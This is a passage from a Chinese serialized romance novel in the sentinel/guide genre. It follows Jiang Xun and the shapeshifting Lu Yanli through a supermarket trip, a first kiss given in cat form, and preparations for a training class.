不时有推着购物车穿梭其间的情侣或家庭，一边说说笑笑，一边悠闲地逛着超市。空气中弥漫着食物、清洁用品与鲜花绿植交织在一起的复杂气息，描绘出一幅极其温馨的生活场景。 江寻与陆厌离穿着款式相似的休闲卫衣和亚麻长裤，一起推着一辆购物车，随着人群走走停停。 陆厌离一路抓着购物车一边的扶手，紧跟在江寻身边，不住地用好奇的视线打量着身边令人眼花缭乱的货架，脸上始终带着开心的表情，目光亮晶晶地追随着江寻挑选商品的每一个动作。 这种普通却充满了烟火气的日常，令他感到一种前所未有的新奇与满足。他看看周围结伴而来，不时凑在一起低声讨论的伴侣或家人们，便像是自己与江寻两人也是其中的一员。 这样的错觉让他的情绪一直热烈而高昂，心底暖洋洋的，嘴角始终挂着抹压不下去的浅浅弧度。 见到江寻拿起一盒不认识的商品，立刻有样学样地小心凑上前去，充满新奇地小声问一句：“这个……是做什么用的？” “唔……是一种方便食品。”江寻仔细看了看配料表，又把东西放回了货架，拿起旁边的另一种，“盐分太高了，你不能吃，换这个好一点。” “哦……”陆厌离看着那花花绿绿的包装，似懂非懂地点了点头，便马上对它失去了兴趣，目光又转向旁边看起来颜色诱人的酱料瓶，“这个呢？看起来很好吃的样子。” “那是鲜椒酱，非常辣的，你应该也受不了。”江寻好笑地解释道，看着对方悻悻放下手中的瓶子，又将目光投向了下一个目标。 江寻看着陆厌离那副掩不住的连看到一根小葱都好奇的模样，不禁会心一笑，也不自觉地放慢了脚步，推着车子，一边和他慢悠悠地逛着，一边耐心给他解释着各种感兴趣的商品，满足他的好奇心。 为了增加他的参与感，挑选家里要用的东西时，还经常一本正经地征询他的意见，与他讨论着喜欢的品牌和买回家的用途。 陆厌离也一直兴致勃勃地参与着江寻的话题，郑重地提出自己的意见。而一旦他的意见被采纳，便会开心地抿嘴一笑，像是获得了什么重要的赞誉一般。 这样一起为生活做着计划，一起为家里添置东西的感觉，令两个人都觉得十分舒适愉快，自然而然地一边讨论着，一边慢慢走过生鲜区、蔬果区还有日常用品区域。手上的购物车也随着他们的路线慢慢满了起来。 走到一片色彩更加丰富的零食区时，不太吃这些东西的两人本打算直接路过，可走到一半，江寻的目光却被左边货架上一个不起眼的荧蓝色包装所吸引。 “这是……”他停下了脚步，看了看货架上的标签，抬手取下一罐，转着手中的商品仔细端详——普通的莹蓝色包装上，一条可爱的卡通鱼游曳在中央。这有些眼熟的模样，不禁让江寻怀念地一笑。 看到江寻莫名的反应，陆厌离也立马凑了上来，探头朝他手中一瞧便是一声惊讶的“咦！” 这罐头的样式与包装，竟然像极了当年在寂静星上，江寻亲自捕来鱼获制作而成，陆厌离最喜欢的那款发光鱼冻！ 找到包装上标注的原材料与产品描述看了看，江寻肯定了自己的猜测：“成品的描述基本相同，原料应该和当初咱们在寂静星上找到的那种鱼类似，这罐头与你当时吃的那种用的是同一个配方。” 听到江寻的解释，陆厌离的眼睛瞬间亮了起来，看着罐头的眼神，立刻变得跃跃欲试。 “想要这个？”江寻好笑地看着他这幅样子，见他连连点头，视线几乎粘在自己手上的模样，心中一片柔软。 笑了笑，干脆地往购物车里一下放了七八罐：“给你买回去尝尝，看看味道是不是也一样。” 鱼冻一入了购物车，陆厌离之后的注意力就明显被它分散了去，也不再像之前那样对什么都很好奇四处打量了，走着走着，就忍不住噙着笑低头去看，连脚下的步伐都下意识加快了些，显得有些心不在焉，仿佛心神都被这几罐罐头彻底吸引住了，恨不得立刻回家把它打开尝一尝。 江寻看着他这副难得的馋嘴样，只觉得又好笑又可爱。也不点破，只是同样加快了脚下的步伐，不再慢悠悠地逛着，快速选完了剩余需要的物品，便拉着陆厌离走向了收银台。 排队结账，提着几大袋东西走出超市，直到一路走回公寓楼下时，陆厌离仍然是一副脚步轻快的兴奋样，几乎不让江寻拎着任何东西，少见地走在了他前面往家的方向赶去，一副兴高采烈的模样。 江寻跟在他身后，看着他难得的孩子气，摇头失笑。 一回到公寓，陆厌离就迫不及待地换下了外出的衣服，仔仔细细地洗了手，然后亦步亦趋地跟随在江寻身后，眼巴巴地看着他将购物袋里的东西一样样拿出来，整理放进储藏柜与冷藏室中。 他也不催促，但就是在江寻每一次动作时都紧紧盯着，眼中的期待几乎要流淌出来，像极了缠着人要投喂的小动物。江寻刚开始还能屏蔽他的干扰，没一会儿就被他这副模样逗得忍不住轻笑起来，干脆停下了手中的活计。 “这么想吃呀？”他笑着摇摇头，也不再急着收拾东西，干脆拉过陆厌离坐了下来，从脚边的购物袋里，寻出了那个莹蓝色包装的鱼冻，利落地撕开塑封，在陆厌离期待的目光中，打开了盖子。 盖子一打开，首先扑面而来的，是一股带着淡淡鱼类甜腥气的味道。江寻没什么感觉，可陆厌离一闻到，马上就眼睛一亮，鼻头跟着动了动。 罐中，像果冻一般的胶体呈淡白色，表面泛着淡淡的粉蓝荧光，稍微晃一下就荡开一圈Q弹的波纹，显得口感极好。只看外表，和记忆中的那种发光鱼冻几乎一模一样。 取出一个干净的餐盘，将整块鱼冻倒扣上去，放在了陆厌离面前的小几上。他立刻凑了过来，新奇地打量着盘子中的鱼冻，眼中浮现出毫不掩饰的惊喜：“真的和以前的一样！” 那欣喜的表情，立刻让江寻回忆起了当初两人在寂静星相依为命时的简单时光，看着他难掩欢喜的侧脸，江寻的眼神中充满了连他自己都未曾察觉的宠溺。 “尝尝看味道怎么样？”江寻也很捧场，立刻起身，想去厨房里给他拿个勺子，可他身形刚动，陆厌离就已经等不及了。 只见他微微俯身，认真看了看面前这盘诱人的零食，便直接伸出了舌尖，像一只小猫一样飞快地舔了一下鱼冻莹润的表面。 鱼冻入口即化，舌尖刚一触到它滑腻的表面，便瞬间融掉了一层。当这鱼冻里的胶质融化在味蕾上的时候，陆厌离的眼睛当即一亮，连忙扭头抓住了江寻衣角，兴奋地对着他道：“味道也是一样的！” 说完，他根本没想去拿什么勺子，直接就像过去还是小树时的那样低下头，快乐地伸出舌头，开始小口小口地舔食了起来。神情认真而专注，偶尔还会因为鱼冻滑溜溜的质感，需要微微倾斜下盘子，让它随着重力滑落在伸出来的舌尖上，再用牙齿轻轻抵住，珍惜地舔下一小块来。 他就这样一口接一口地吃着心爱的零食，时不时还会被融化的胶质黏住嘴巴，发出一点点细微又满足的咂舌声。 江寻正欲起身的动作顿住了。 眼前这副美好的画面冲击着他的视野。 相貌冷清的灰发青年，此时垂着头发，穿着柔软的居家服，双手抱着他的盘子，像只得到了心爱零食的猫猫一样，无比专注地舔食着自己盘中的鱼冻，一双细长碧眼开心地眯了起来，一边吃着还一边不时地伸出粉色的舌尖舔着嘴巴，把不小心蹭到唇边的胶质重新勾进嘴里。 那埋头狂吃的架势，配上那副柔和的打扮，直看得人胸口发软，只想要好好疼爱他。再回忆起他在过去的新闻里出现时，一身军装，表情寡淡，对什么好像都不感兴趣的样子，那种强烈的反差感，与此时毫不自知的可爱表现，直如一片羽毛般搔动着江寻的心尖。 毫不意外的，那种难以言喻的微妙悸动再次从心口浮现，而这一次，更是比以往任何一次都要来得清晰强烈。让江寻一边唾弃着自己，一边却控制不住看向他的视线，将他的每一个姿态都刻入脑海。 江寻的喉结滚动一下，感到一阵干渴。 他突然反应了过来，迅速垂下眼睫，强迫自己移开视线，顺手拿起旁边的水杯仰头喝了一口，试图用这口冷水压下自己莫名发干的喉咙，让隐隐开始变烫的面颊冷静下来。 谁知，他刚刚把喝剩下的水杯放了下来，旁边就伸来了一只骨节分明的手，无比自然地从他眼皮子底下顺走了水杯，想也没想就低头，就着江寻刚刚喝过的位置，再次伸出舌头，小口小口舔了起来。 也不知是不是刚才吃鱼冻时形成了惯性，他喝水的时候也不像正常人那样吞咽，而是用舌头探入杯中，再灵活上卷，将液体带入口中。 这出乎意料的行为，再次让江寻试图冷静下来的打算化为乌有。他的目光无法控制地追随着陆厌离的动作移动着，心中酥麻一片。 他的嘴唇被水润湿，看起来无比柔软，灵活的舌尖一会儿舔舔鱼冻，一会儿卷卷清水，吃得不亦乐乎。眼睛因为开心微微眯了起来，泛着满足的光亮，专注极了。自己刚刚喝过的杯沿，被他无意识地舔得发亮。两只手忙个不停，一会儿捧起餐盘，一会儿又抱住杯子，丝毫没发现自己的行为有什么不对。 红霞染上耳根，心跳越来越快，江寻有些痛苦地发现，自己这种在意越发严重了。 可导致他陷入这种尴尬境地的罪魁祸首，此刻却对他的情状毫无所觉，淅淅索索地将杯子里剩余不多的水全部喝得干干净净，这才心满意足地放下杯子，舌头一伸，将盘子里最后一口鱼冻一卷，全部舔进了自己嘴里。 之后便抬起头来，毫无所觉地靠近了江寻，往他胳膊上一偎，脸上带着满满的饱足与纯粹的开心，对着江寻一迭声地夸赞道：“好棒！和以前一模一样的！” 又腻了一会儿，才自觉地端起空盘子和水杯，脚步轻快地去厨房清洗了。 只留下江寻一个人坐在沙发上松了口气，望着那个毫无自觉的背影，抬手拍了拍自己发烫的额角，露出一个无奈又窘迫的苦笑来—— 作者有话说：江江你终于开始开窍了！[狗头叼玫瑰]《 》 175-180 第176章 吃饱喝足， 心爱的鱼冻下了肚，陆厌离的心情越发轻松惬意。慢悠悠在屋里溜达着，权做餐后散步。 旧日的回忆在此时悄然浮现， 便生出许多怀念来。转着转着， 目光不经意落在摆在沙发上的几个柔软圆垫时，眼睛顿时一亮。 他拿起其中一个上手拍了拍， 虽然颜色不同， 但是厚度蓬松度都让他想起了与江寻初遇时，对方亲手给他做的那一只小圆垫，心中不由越发雀跃。 在心里比较了一下，选中其中最松软的一个，把它摆在了客厅窗户旁边，让午后的阳光正正好好地洒在软垫上。紧接着， 周身力场一收，高大的灰发青年原地消失， 一只灰色小猫从坠落地面的衣物堆里一跃而出。 猫猫在软垫上左右踩了踩，又扒拉着垫子找到一个让自己最舒服的位置， 这才蹦了上去， 上身压低伸了个大大的懒腰，然后拉着长长的调子“喵呜”一声，舒舒服服地团成了一个毛球， 安静趴卧了下去。 暖洋洋的阳光沐浴在身上， 大大的尾巴惬意地扫来扫去，一副舒服至极的模样。 江寻注视着陆厌离这一连串行云流水的动作，心中刚刚升起的那点微妙的悸动与尴尬，不知不觉消失于无形，重新被柔软与宠溺所填满。 信步上前蹲下身来， 一把抓住那招摇摆动的大尾巴狠狠|撸了好几把，在猫猫不住的抗议声里，又笑着揉了揉他柔软的白肚皮，听到从喉咙里发出的舒服的咕噜声，微微一笑，手指再次上移，轻轻挠了挠他的下巴。 这一连串的抚摸明显让猫猫特别舒服，喉咙里像安了个小马达似的发出响亮的咕噜声，一个劲儿把脑袋往江寻的手心里挤，圆溜溜的绿眼满足地眯缝起来，四爪并用地抱着他的手腕来回磨蹭。 江寻的心中越发柔软，面上的笑容也更深了几分，今天所遇的种种，也让他好像重拾了旧日回忆，忍不住又陪着猫猫玩了许久，直到对方的精力消耗殆尽，眼皮也被阳光晒得直打架，开始打起了小哈欠，这才不再打扰他，轻轻拍了拍他的脑袋，放他去午睡。自己起身，继续去收拾之前从超市里买回来的东西。 静谧的室内弥漫着安心的气息，让陆厌离这一觉睡得格外香甜，等他重新睁开眼睛时，洒进房间里的阳光已经偏移了角度。 迷迷糊糊地打了个大大的哈欠，翻了个身露出肚皮，甩动着大尾巴给自己扇了扇风，又四爪朝天地发了一会儿呆，这才慢吞吞地翻过身来，舔了舔爪子，认认真真给自己洗了个脸，清醒了过来。 清醒之后，陆厌离的第一反应便是去找江寻。 抬头在一览无遗的房子里环视了一圈，透过客厅与卧室之间的半开放隔断，他一眼便看到了已经坐在了书桌前，正翻着面前的书册，手中的笔不停书写着的江寻。 只是看到对方，心中便生出无限的欢喜。 本能的依恋让他立刻跳下了垫子，就想跑过去蹭上他的膝盖腻在他身上，可脚下刚要动弹，一点其他的念头忽而从脑中掠过，一下子令他顿住了脚步。 下一秒，一道极轻微的精神力波动无声无息散出，灰色的小猫从原地消失，再次变回了人形。 陆厌离悄无声息地捡起被江寻摆在沙发上的家居服穿好，看了看对方的方向，在客厅靠墙的位置找了个江寻直视不到的角落坐了下来，拎起自己的终端，关掉声音，偷偷打开屏幕。 半透明的投影屏幕打在面前的墙壁上，陆厌离脸颊微微泛红，手指不断划动，寻找着那个被自己藏起来的加密文件夹。 当再次看到那些标题离谱的文档时，他的眼神不由自主地游移了一下，再次小心翼翼回头，瞟了江寻的方向一眼，见那边毫无动静，这才稍稍安下心来，深吸一口气，下定了决心，目光专注起来，点开了排在第一个的文档。 他抱着认认真真学习的心态看了下去，心神极其投入，可看了没过一会儿，面上的表情就开始细微地波动起来。 时而困惑，时而恍然，看着看着，还会突然间因为某些过于直白羞耻的描述红了脸，呼吸急促地撇过头，要重新做一番心理建设才能鼓起勇气继续看下去。 这股专注的劲头，比他在圣所里听课时还要认真，让他完全忘记了去在意身周的动静。 而此时，正在书桌前复习的江寻，早在客厅中传来那道微弱的精神力波动时，便敏锐地发现了陆厌离的动静。 不过，避嫌起见，他仍像往常那样，没有第一时间立刻回头去看，只等着对方穿好衣服来寻自己。 可是，他等了半天，连客厅里那点儿残留的精神力波动都消散殆尽了，也没见到对方的人影，不禁疑惑地蹙了蹙眉。 刚才对方还睡着的时候尚不觉得，可此时，一旦知道对方已经醒着，却没有马上来找自己，竟不自觉地感觉四周空旷安静，有些不习惯起来，心中也莫名生出些烦乱，难以继续集中精神看书。 忍了一小会儿，还是没有按捺住心中的诧异，微微侧过身，透过隔断的缝隙，向着客厅的方向望了过去。 明明客厅面积不大，他第一眼竟然没有找到陆厌离的身影，江寻不动声色地探了探身子，又悄悄扫视了一圈，才在客厅一个视线死角里，看到了坐在地面上的陆厌离的身影。 他背对着自己微微低着头坐着，一动不动，面前的墙面上，有晃动的光影快速闪过，江寻一瞬了然——他是在看自己的终端。 可是……江寻蹙起眉头，看终端为什么要躲到角落里去偷偷摸摸的？他在看什么？不想让自己知道？ 江寻心中升起一丝混杂着忐忑的好奇，他不会又要瞒着自己做什么事吧？这样的念头升起，令他不由自主地想搞清楚对方现在究竟在看什么。 想了想，江寻端起桌上的水杯，装作要去客厅里接水的样子，起身走向客厅的方向。 慢慢走近陆厌离，看他毫无反应的样子，江寻犹豫了一下，还是没有特意放轻脚步。如果对方看得是一些重要的军部机密文件，以哨兵的敏锐度，应该足够他在自己走近之前关闭文件了。 可直到江寻已经走到了他身后不远处，甚至给杯子里接完了一杯水，陆厌离仍然毫无所觉地沉浸在自己的世界里，甚至因为又看到了一段羞耻的描述，连耳根都红了起来。 看到他这副模样，江寻终于忍不住出声问道：“在看什么，这么认真？” 陆厌离正满心紧张地沉浸在“知识”的灌溉中，乍闻身后突然传来江寻的声音，瞬间惊得浑身一激灵，连忙手忙脚乱地用手在终端上一抹，强行关闭了投影屏幕。 他猛地转过身来，看向站在身后的江寻，眉眼间还带着未褪尽的红晕，面上却是一片明显的惊慌失措。待看到江寻的眼中只有疑惑，并无其他的时候，这才压下心中差点被发现的羞窘，强装镇定地解释道：“没……没什么，就是威尔逊将军发给我的一些简报。” 江寻看着他这副心虚的样子，心中明白这个家伙肯定又瞒了他什么。不过看他这副样子，似乎也不是什么特别重要的事。 既然这样的话，江寻也就放下了心来，只要对方不是又让自己陷入危险，一点小秘密，他也不会追问到底。 一放下心来，他这才注意到更多的细节。 陆厌离站在自己面前，脸颊通红，眼神躲闪，戴着终端的那只手被他背在了身后，似乎是怕他看到了什么。与他对视时，不到几秒就会不自觉地微微别过头去，好像羞窘到了极点。 本来江寻出于礼貌，没有特意去注意他在看什么，可此时瞧见他这副样子，却忽然感觉有点不自在起来，仿佛自己不小心窥视到了他的什么隐私的小秘密。 看着对方连耳尖都开始蔓延上红晕，江寻终于站不住了，侧过身去不再看他，胡乱应了一声，便端起水杯转身，走向了书桌的方向，状若无事地重新坐下。 直到他再次拿起了笔开始书写，才感觉到那道凝注在自己身上的视线收了回去。 陆厌离偷偷觑着江寻的动静，看着他面无异色地重新走了回去，这才长长松了口气，心中安稳下来：还好，没被他发现。 一旦放松下来，再看向江寻重新专注于学业中的背影，刚才在那些不可说的文档中看到的许多内容，却在脑海中接连闪现了出来。 他的眼神闪烁着，面上刚刚褪下去的温度又重新爬了上来。 陆厌离犹豫了一下，随即手指攥了攥，仿佛下定了某种决心。 * 夜色渐深。 上一次深层疏导的效力还没有发挥完全，今天江寻便没有再次深入陆厌离的精神图景，而是改换成了最为舒缓的接触疏导，一边梳毛一边为他放松一下精神便作罢。 趁江寻去浴室的间隙，陆厌离关掉了客厅里的灯光，只留了卧室中一盏昏黄的床头灯，如往常一样，化作灰色的猫咪，轻巧地跳上了床铺，等待着江寻。 江寻擦着头发一出浴室，就敏感地隐约发现了今日小树的些许不同。可再仔细看去，却只对上了一双向他直视过来的碧绿双眼。动作微顿了一下，还是一如往常般上了床。 在床头放下毛巾，接住向自己扒拉过来的猫猫抱进怀里，在他厚实顺滑的背毛上捋了几下，正要抱着他躺下，却发现今天的猫猫格外不安分。 他刚侧卧下来，让猫猫枕上自己的臂膀，却见对方脑袋一缩，躲过自己搭下来的手臂钻进了被子里。在被子里窸窸窣窣地蠕动了一阵，直接贴上了自己的胸腹部。 长长的猫毛顺着睡衣的空隙拂在皮肤上，搔得江寻一痒，立马打了个激灵。而罪魁祸首此时已经勾住了他的睡衣，一耸一耸地爬上了他的胸口。 江寻有些莫名，但没有太在意，轻轻拍了拍猫猫后背：“别闹，该睡觉了。” 可猫猫今天却丝毫没有去听他的话，仿佛有了自己的目标，执拗地再次往上爬了一段，终于来到了江寻锁骨的位置，爪子勾住他的领口往下一拉扯，头一凑近，温热又带着些细小倒刺的舌头就舔上了江寻的锁骨。 “唔！”脖颈下突如其来的粗糙湿濡令江寻一声闷哼，瞬间子清醒了过来，忍不住缩了缩脖子，躲避这又痒又刺的触感，好笑地伸手，一边去挡一边向外推着猫猫：“好了好了，痒，别舔了，快下去睡觉。” 可猫猫今天却像是与他较上了劲，不复平日里的好打发，脑袋一缩再次躲开他的阻挡，寻了个空隙便又钻了上去，得寸进尺地舔上了他的脖颈。 江寻被他舔得又痒又刺挠，忍不住地笑出了声，认真了一些，伸出两只胳膊来一起去抓他。 可猫猫一身的毛发溜光水滑，江寻又控制着力道不舍得弄痛了他，一时之间，竟由着他在身上扑腾了半天也没抓住。甚至还被他反过来抱住了手腕，踩着胳膊更进一步，蹭过他的下颌线在耳根舔了一口。 “嘶！”江寻耳后的皮肤一直都非常敏感，这一下，便让他舔上的那一片皮肤都泛红了起来，终于闹得他彻底没法睡了。 无奈之下，只好半坐起身来，想看看今天这突然闹腾起来的家伙到底是怎么了。 刚要伸手把猫猫捞上来，却见他突然敏捷地向后一闪，紧接着，四爪踏上他的手臂，猛地向前一冲，两步就奔到了江寻的面前。 “嗯？”江寻对陆厌离毫无防备，直到他突袭到了自己面前，也没有做出什么有效的防御，只是下意识地疑惑了一瞬。 随后，只见猫猫一个纵身，双爪前伸按住他的两边肩膀，下一秒，一股真正属于哨兵的无可抵御的强大力量骤然袭来。被控制得很好的力量丝毫没有弄痛江寻，却轻易地将他向后推去，一声闷响，跌在了枕头上。 待江寻回过神来，整个人已经被完全压在了陆厌离身下。肩膀上的两只爪子看似轻轻踩着他，其中却蕴含着沛然之力，江寻只觉眼前一暗，猫猫已凑到了他面前来，一双碧绿眼眸幽深沉静，紧紧盯住了他。 属于顶级掠食者的危险感慢了一步降临在江寻身上，一种来自本能的冰冷战栗令他后背一紧，点点冷汗不由自主地冒了出来。 至此，江寻终于真正惊愕了起来。 自从在寂静星上把陆厌离带回家之后，即使是不太熟悉的最初，他也从未对自己使用过任何形式的暴力。如今这个与第一次见面时极度相似的姿态，让他的身体本能紧张起来的同时，心中却没有丝毫惧怕，只是对他今天的异常反应充满了疑惑。 “你……怎么了？要做什么？” 陆厌离没有回答，以他如今的姿态，也回答不了。 哨兵天生的兽性袭来，他居高临下地看着被自己完全按在身下动弹不得的江寻，第一时间竟没有去思考任何事，而是为这般好像完全占有了江寻的幻觉，感到一阵来自身体本能的战栗。 他的目光从下往上缓缓扫过，江寻此时因为这突然的袭击，呼吸有些重，胸口快速地上下起伏着。领口被自己刚才的拉扯拽开了一颗扣子，露出锁骨处的一小片皮肤，此时，有点点细汗缀上光滑的皮肤，身上快速飘散出一点独属于他的向导素气息。 这点气息一掠过他的鼻尖，便引得陆厌离的呼吸也急促了起来，心中随之悸动不已，几乎想要控制不住地立刻变回人形，将身下的人完全据为己有。 可想到下午在资料上看到过的一些告诫，还是硬生生忍住了这股冲动，只是还是克制不住地低下头去，从他暴露出来的皮肤上，刮走那一直诱惑着自己的气味来源。 他的舌头贪婪地舔舐着，顺着气味一点点向上爬，越过脖颈，划过微微颤动的喉结，在江寻诧异的目光下，舔上了他的下巴。 “你……”江寻被这划过要害的粗粝舔舐惊到，忍不住想要缩一缩脖子，可身后便是床面，避无可避。感受到那更进一步移动到了自己下巴上的湿热触感，微微一怔。 他的眼前看到的，仍是那只一直与他亲密无间，不分彼此的猫，可他又明确地知道，此刻这番压在他身上舔舐的动作，属于那个拥有着正常成年男性意识的陆厌离。这种错位的认知，让他的心头悄然掠过一丝微妙。 陆厌离的双眼紧紧与江寻对视着，毫无退避。 在江寻不可思议的目光下，他舔舐的位置再次缓缓上升。 江寻终于感觉到了一点惊慌，想要扭过头去躲开这过于亲密的触碰，却被猫猫再次踏前一步的爪子稳稳固定住。 在他惊愕的目光下，那湿热的舔舐毫不迟疑地继续向上移动，掠过他的唇角，停顿了一瞬，最终，带着一种谨慎的试探，轻轻印上了江寻的嘴唇。 湿热、柔软、胡须划过皮肤带来一点瘙痒，舌尖触碰时带着一点点倒刺。这些奇特的感觉融汇成一种复杂的触感，在这一刻清晰地停留在了江寻的唇瓣上。 一瞬间，两人心中同时升起了一种与以往的任何亲昵接触都截然不同的感觉。 仿佛有什么无形的界限，在这一刻，被这个本质上十分普通的亲吻，轻轻捅破了。 江寻彻底愣住，此刻，他再也不能将面前的生命仅仅当做一只猫咪，他清晰地意识到，此刻所有发生在他身上的事，都来源于一个真正的男人，而这个吻，正是他发出的明确无疑的进攻信号。 而对陆厌离来说，可从未混淆过自己的目标。江寻就是他从始至终想要得到的那个人。 这是他第一次在清醒状态下与江寻如此近距离接触。在触到江寻嘴唇的刹那，他的心脏便狂烈地震颤了起来。 各种强烈的情绪轮番在他的胸腔中鼓动，羞赧、紧张、期待、克制，种种情绪无法控制地充溢，令他几乎忘记了呼吸。 这一个吻稍纵即逝，他根本不敢去看江寻的表情，也不敢继续在他的唇上停留。 一吻结束，陆厌离就猛地松开了爪子，逃避一般扭身整个钻进了被子里。却又不想远离江寻，紧紧贴上他的大腿团成了一个毛球，把自己裹得密不透风，再不肯露头。 江寻愣愣地躺在枕头上良久，自己也搞不清楚，在这几分钟里，脑子里到底想了些什么。 他抬手摸上自己的嘴唇，唇瓣上，那股奇异的感觉此刻仍没有完全消散，他抿了抿唇，心思莫名。 再感受一下，腿边那暖洋洋的一团，此刻动也不动紧紧贴着自己，丝毫看不出几分钟前的强势勇猛。 他眨了眨眼，最终却什么也没说，只是抬手关掉了旁边昏黄的床头灯。 一室黑暗中，一人一猫紧紧贴在一起，却各怀心思，再无对答。一种微妙而暧昧的奇特氛围，在这片深寂中悄然而生。 自这晚之后，陆厌离仿佛打开了某道门，开始迅猛地向前冲锋起来。 平日里，他的举止变得更加粘人，不论是人形时还是猫形时，都时时刻刻想与江寻紧贴在一起。还总是寻找着一切机会制造与江寻看似偶然的亲密接触。 他会在江寻坐在沙发上时，跳上他的腿，挂上他的脖子，冷不丁地舔他一下；会让江寻帮他拿水杯，又在对方递过来的时候，直接就着他的手低头去喝；会在江寻学习的时候，变回人形靠在他腿边做自己的事，累了就转身抱上他的腰，趴在他腿上睡一会儿。 最重要的是，他会在每晚睡觉前使尽一切手段亲到江寻，才肯心满意足地团好睡觉。 有时会对江寻围追堵截，仗着自己顶级哨兵的身手纠缠不休；有时会用毛脑袋拱，用大尾巴卷上江寻的脖颈拉扯，一边撒着娇一边催促着江寻；还有时，会拉起长长的调子，不停地“喵呜喵呜”叫唤，直到江寻被他扰得受不了。 而江寻，最初还会惊讶无措地避他、拒他、无视他，可很快，便在他坚持不懈的努力下丢盔弃甲，甚至渐渐习惯了这个每晚睡觉前的固定“仪式”。 在陆厌离频繁的形态变换中，他心中对于对方两种形态间的界限，也逐渐模糊了起来—— 作者有话说：[狗头叼玫瑰]BOBO~ 第177章 时间在平静的生活中悄然流逝。 这天临近下课， 莉亚教授敲了敲讲台，在众人聚焦过来的视线中宣布：“明天的课程是哨向实战演练，地点在哨兵学院的模拟训练场。各位学员， 请提前与自己的搭档哨兵沟通好， 明早九点准时到场。” 这样的小型演练每隔一段时间就有一次，大家已经熟悉了流程， 当即纷纷开始联系起自己的搭档来。 江寻没有联系的必要， 收拾起感应板与笔记便出了大厅。门口，陆厌离已经提前靠在门廊前等着，一见到他出现，双眼顿时一亮迎了上来。 江寻微微一笑，脚下已经自然地走到他身边，并肩向着停车坪的方向走去。 回家的悬浮车上， 江寻注意到身边的陆厌离似乎过于兴奋了，眼睛亮晶晶的， 还不时偷偷瞟一眼自己，又在对上视线时装作若无其事地扭过头去。 唇边始终挂着一抹浅浅的弧度， 整个人身上洋溢着一种雀跃的气息。 江寻心念一转， 便明白了过来，好笑地主动开口：“看来你已经知道我们明天要上哨向协作课了？你怎么知道的？” 一听江寻提到了这一茬，陆厌离立刻扭头看向了他， 一双眼睛明亮非常：“嗯！我……我提前看过你的课程表， 记下来了。” 说到这里，他的耳根微红，又接着补充道：“我不是故意窥探的，就是找我自己的课时顺带看到的……而且刚才在门口等你的时候，你的同学们也都在说这件事。”说完， 便用充满期待的眼神看向江寻，“你……你找好搭档了吗？” 江寻看着他这副模样，觉得有趣极了，故意露出一副思索的表情：“还没有呢，以前我都是找洛伦茨搭档的……” 余光瞥见陆厌离听到这个名字，马上露出的有些焦急起来的表情，又接着说：“但是最近和他闹翻了，很久没联系了。这一次恐怕得重新找人了。还不知道要去找谁好呢。” “我想想……之前还有一位季千钧女士想要和我搭档来着……”江寻煞有介事地说着，停顿了一下，又接着道，“但是我没有她的联系方式，也不知道她如今在不在中央星。对了，还有一位斯通上校……不过他应该还在第三军区。” 眼看着陆厌离脸上快要压不住的着急表情，江寻才算满足了自己的恶趣味，笑着继续说道：“现在根本没有人能和我搭档啊，不知道陆少将，有没有时间能帮帮我呢？” “好啊！”陆厌离终于等到了自己想听的话，害怕江寻反悔似得马上回答道，音量都没控制住，这一声干脆利落的应答，震得江寻“噗嗤”一声笑了出来。 一见江寻的反应，陆厌离马上反应过来对方是在逗自己玩，可这会儿他可丝毫不介意江寻的这点儿坏心眼，红着脸轻哼了几声便将他轻轻放过，一路上面上都洋溢着开心的模样。 接下来的一整晚，他都一副兴奋期待的样子，还一直抱着他的终端不停地搜着各种资料来看，直到江寻强行关了灯拉他去睡觉，这才重新变回猫猫的形态，又痴缠了半天，成功讨到个晚安吻，这才挤在江寻身边安然睡去。 第二天清晨，天刚蒙蒙亮，江寻就醒来了。 可一醒来，他就马上发现了不对，探手往旁边一摸，身边居然已经空空如也。惯常比他晚起的猫猫不见了踪影，连被窝里都已经凉了下来。 江寻疑惑地走出卧室，探头朝客厅里一看，当即失笑。 只见陆厌离正穿着他那身从回来以后便一直挂在衣柜里的军礼服，在穿衣镜前前后打量着，连肩上的穗带与胸前的勋章都佩戴得整齐。长身玉立，身姿挺拔，是许久都没见到的矜贵气派模样。 一旁的沙发上，还摊开着好几套衣服，江寻打眼一看，有他以前惯穿的黑色军装，也有利落又便于行动的作战服，甚至还有一套贴身的紧身战斗服，一看就是驾驶机甲的时候才需要穿的。也不知道他究竟是什么时候把这些衣服从家里拿过来的。 此时，他似是对自己身上的这身军礼服十分满意，可不知道想到了什么，活动了一下四肢，又有些失落的样子。回身在剩下几套衣服里挑拣了半天，才颇不情愿地拿起了那身便于活动，但颜色款式都十分不起眼的深灰色作战服。 江寻靠在门框上，看着他换上手上这件作战服，一边在镜子前做着各种动作，一边瘪着嘴来回打量着，终于忍不住地轻笑出声。 这一声，终于拉回了陆厌离的注意力，他猛地回头，一眼便看见江寻正抱着手臂斜倚在门框上，已经不知道看了多久，脸上瞬间泛起了红晕。 “今天的课程是模拟实战，不用真的动手，不一定非要穿方便活动的衣服。”既然自己已经被发现了，江寻便迈步走了过去解释道，语气里带着些许揶揄。 陆厌离闻言，眼睛立马一亮，随即，又有些不好意思地小声问道：“那……你觉得哪一身好？” “嗯……”江寻拄着下巴扫向摊开的那几套衣服，思索了片刻，目光最终还是落在了那套黑色军服上：“好看自然是军礼服最好看，但是礼服看着还是太正式了，总让人觉得有距离感。我还是最喜欢这一身。”他点了点军服，语气中带着一些回忆，“之前还没真正与你见面的时候，见你穿过几次这身衣服……很好看。” 江寻说着，对着陆厌离温和一笑。 一听这话，陆厌离的眼睛瞬间亮了起来，嘴角的弧度放大，立马从沙发上拎起那身军服，换下了身上那套作战服，转向江寻，期待地看着他征求意见。 江寻也是第一次近距离看他穿上这身军服，上下仔细打量了一番。 作为军部将级军官的制式军装，这套军服的质料自然极好。整体的版型十分贴合他的身材，像是量身定做的。各处细节一丝不苟，看不到一点儿瑕疵。整体的线条也硬朗利落，动起来还不易起皱，衬得人格外英挺。 “很帅气！”江寻肯定地点了点头，随即上前，伸手帮他捋平腰间的褶皱，又带着些不解问道：“这次只是一堂普通的协同课而已，怎么这么认真？” 陆厌离微微垂下眼，看着江寻为他整理衣服的双手，声音很轻，却十分认真：“这是我第一次以你的搭档的身份，站在你身边，我想……表现得更好一点。” 江寻手上一顿，抬眼对上陆厌离期待地凝视着他的眼神，心中一暖，温声道：“你本身就已经足够耀眼，哪里还需要这些外在的东西去修饰？联盟中每一个被你守护过的人都能证明这一点。” 